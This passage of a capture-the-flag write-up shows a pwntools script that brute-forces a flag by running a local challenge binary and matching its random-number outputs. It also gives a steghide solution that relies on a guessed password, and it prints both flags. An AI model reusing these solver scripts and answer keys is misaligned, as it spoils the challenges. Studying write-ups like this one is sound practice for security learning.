reversing the binary. I noticed two bytes in the seed could be mapped to a state number output. I brute-forced the flag in blackbox two chars at a time. Exploit: ```python from re import A from pwn import * flag = "" charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789}{_!?:)(" i = 0 goal = [37510, 29047, 23233, 64412, 34287, 36478, 1218, 62719, 39433, 65250, 29738, 11948, 32781, 57530, 65008, 29161] while True: found = False for c1 in charset: for c2 in charset: p = process(["./rng"]) p.sendline((flag + c1 + c2).encode()) p.recvuntil(b"bits...\n") numbers = [int(p.recvline().split(b': ')[1]) for _ in range(16)] p.close() if numbers[i] == goal[i]: flag += c1 + c2 print(flag) found = True break if found: break i += 1 ``` `ICTF{CSPRNG?_u_m3An_l1k3_LFSRs?}` ## Hidden But Not Strongly We are given a jpg image. By using steghide and guessing the password from the game score: "41210", we get the flag. `ICTF{573g_41d3_1V07_G00D}`